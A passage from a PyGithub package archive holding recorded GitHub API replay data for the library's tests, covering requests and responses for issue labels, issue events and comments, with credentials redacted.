'\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","changes":45,"additions":45,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt"},{"patch":"@@ -0,0 +1,35 @@\n+GET /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","changes":35,"additions":35,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt"},{"patch":"@@ -0,0 +1,5 @@\n+GET /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+","status":"added","deletions":0,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","changes":5,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","filename":"test/ReplayData/Issue.testGetLabels.txt"},{"patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"type\":\"User\",\"bio\":\"\",\"disk_usage\":16976,\"total_private_repos\":5,\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"owned_private_repos\":5,\"collaborators\":0,\"plan\":{\"collaborators\":1,\"private_repos\":5,\"name\":\"micro\",\"space\":614400},\"company\":\"Criteo\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"email\":\"vincent@vincent-jacques.net\",\"public_gists\":3,\"followers\":13,\"name\":\"Vincent Jacques\",\"created_at\":\"2010-07-09T06:10:06Z\",\"blog\":\"http://vincent-jacques.net\",\"location\":\"Paris, France\",\"hireable\":false,\"id\":327146,\"private_gists\":5,\"public_repos\":11,\"following\":24,\"html_url\":\"https://github.com/jacquev6\"}\n \n GET /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4906'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"4c20acf0b23f75bbf25106b1a04f65a5\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"description\":\"Python library implementing the full Github API v3\",\"full_name\":\"jacquev6/PyGithub\",\"has_wiki\":false,\"has_issues\":true,\"updated_at\":\"2012-05-27T06:55:28Z\",\"forks\":3,\"mirror_url\":null,\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"open_issues\":16,\"fork\":false,\"svn_url\":\"https://github.com/PyGithub/PyGithub\",\"pushed_at\":\"2012-05-27T06:00:28Z\",\"size\":308,\"html_url\":\"https://github.com/PyGithub/PyGithub\",\"private\":false,\"url\":\"https://api.github.com/repos/PyGithub/PyGithub\",\"clone_url\":\"https://github.com/PyGithub/PyGithub.git\",\"owner\":{\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"url\":\"https://api.github.com/users/jacquev6\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"has_downloads\":true,\"language\":\"Python\",\"watchers\":15,\"git_url\":\"git://github.com/PyGithub/PyGithub.git\",\"id\":3544490,\"permissions\":{\"admin\":true,\"pull\":true,\"push\":true},\"created_at\":\"2012-02-25T12:53:47Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"f1e4eb3993a364b66b68ec9db42405bd\"'), ('date', 'Sun, 27 May 2012 07:32:55 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"clone_url\":\"https://github.com/PyGithub/PyGithub.git\",\"has_downloads\":true,\"watchers\":15,\"updated_at\":\"2012-05-27T07:29:24Z\",\"permissions\":{\"pull\":true,\"admin\":true,\"push\":true},\"homepage\":\"http://vincent-jacques.net/PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub\",\"mirror_url\":null,\"has_wiki\":false,\"has_issues\":true,\"fork\":false,\"forks\":3,\"git_url\":\"git://github.com/PyGithub/PyGithub.git\",\"size\":308,\"private\":false,\"open_issues\":16,\"svn_url\":\"https://github.com/PyGithub/PyGithub\",\"owner\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"name\":\"PyGithub\",\"language\":\"Python\",\"description\":\"Python library implementing the full Github API v3\",\"ssh_url\":\"git@github.com:jacquev6/PyGithub.git\",\"pushed_at\":\"2012-05-27T07:29:24Z\",\"created_at\":\"2012-02-25T12:53:47Z\",\"id\":3544490,\"html_url\":\"https://github.com/PyGithub/PyGithub\",\"full_name\":\"jacquev6/PyGithub\"}\n \n-GET /repos/PyGithub/PyGithub/issues/events/15819975 {'Authorization': 'Basic login_and_password_removed'} null\n+GET /repos/PyGithub/PyGithub/issues/events/16348656 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4905'), ('content-length', '2430'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"a3d244842d23f92f69a23e21626fad11\"'), ('date', 'Sun, 27 May 2012 07:19:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/events/15819975\",\"issue\":{\"updated_at\":\"2012-05-26T14:59:33Z\",\"body\":\"Body edited by PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/28\",\"comments\":0,\"milestone\":{\"creator\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/milestones/1\",\"number\":1,\"title\":\"Version 0.4\",\"due_on\":\"2012-03-13T07:00:00Z\",\"closed_issues\":3,\"open_issues\":0,\"created_at\":\"2012-03-08T12:22:10Z\",\"state\":\"closed\",\"description\":\"\",\"id\":93546},\"number\":28,\"assignee\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"closed_at\":\"2012-05-26T14:59:33Z\",\"title\":\"Issue created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-19T10:38:23Z\",\"state\":\"closed\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146},\"id\":4653757,\"pull_request\":{\"diff_url\":null,\"patch_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/PyGithub/PyGithub/issues/28\"},\"commit_id\":null,\"created_at\":\"2012-05-19T10:38:23Z\",\"event\":\"subscribed\",\"id\":15819975,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146}}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '1384'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fefecab09e7355d4ef9875677c2631da\"'), ('date', 'Sun, 27 May 2012 07:32:56 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16348656\",\"issue\":{\"updated_at\":\"2012-05-27T07:27:51Z\",\"body\":\"Body created by PyGithub\",\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/issues/30\",\"comments\":0,\"milestone\":null,\"number\":30,\"assignee\":null,\"closed_at\":null,\"title\":\"Issue also created by PyGithub\",\"labels\":[{\"url\":\"https://api.github.com/repos/PyGithub/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}],\"created_at\":\"2012-05-27T05:40:15Z\",\"state\":\"open\",\"user\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"},\"id\":4769659,\"pull_request\":{\"patch_url\":null,\"diff_url\":null,\"html_url\":null},\"html_url\":\"https://github.com/PyGithub/PyGithub/issues/30\"},\"commit_id\":\"ed866fc43833802ab553e5ff8581c81bb00dd433\",\"created_at\":\"2012-05-27T07:29:25Z\",\"event\":\"referenced\",\"id\":16348656,\"actor\":{\"url\":\"https://api.github.com/users/jacquev6\",\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"login\":\"jacquev6\",\"id\":327146,\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\"}}\n ","status":"modified","deletions":7,"blob_url":"https://github.com/PyGithub/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","changes":14,"additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/PyGithub/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","filename":"test/ReplayData/IssueEvent.setUp.txt"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetIssueComment.txt0000644000175100001660000000234514756101563025162 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/comments/8387331 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '517'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4960'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5494519596414fbfe208a0b6d193e8f9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 13:03:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetIssueComments.txt0000644000175100001660000000234214756101563025342 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/31/comments {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '519'), ('server', 'nginx/1.0.13'), ('last-modified', 'Sat, 08 Sep 2012 12:57:51 GMT'), ('connection', 'keep-alive'), ('etag', '"5494519596414fbfe208a0b6d193e8f9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sat, 08 Sep 2012 12:59:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"body":"Issue comment created by PyGithub","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"created_at":"2012-09-08T12:57:51Z","updated_at":"2012-09-08T12:57:51Z","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/8387331","id":8387331}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PullRequest.testGetIssueEvents.txt0000644000175100001660000002432114756101563025022 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/31/events {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 29 Jun 2019 00:12:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1561767884'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('ETag', 'W/"e8868b673676b7b3ed46856d038bf5d1"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.sailor-v-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1F21:3EEE:1B22EE9:20CFD3C:5D16ACDE')] [{"id":16349963,"node_id":"MDE1OlN1YnNjcmliZWRFdmVudDE2MzQ5OTYz","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16349963","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"subscribed","commit_id":null,"commit_url":null,"created_at":"2012-05-27T09:25:36Z"},{"id":16350729,"node_id":"MDE1OlJlZmVyZW5jZWRFdmVudDE2MzUwNzI5","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350729","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"event":"referenced","commit_id":"688208b1a5a074871d0e9376119556897439697d","commit_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/688208b1a5a074871d0e9376119556897439697d","created_at":"2012-05-27T10:29:07Z"},{"id":16350730,"node_id":"MDExOk1lcmdlZEV2ZW50MTYzNTA3MzA=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/16350730","actor":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","foll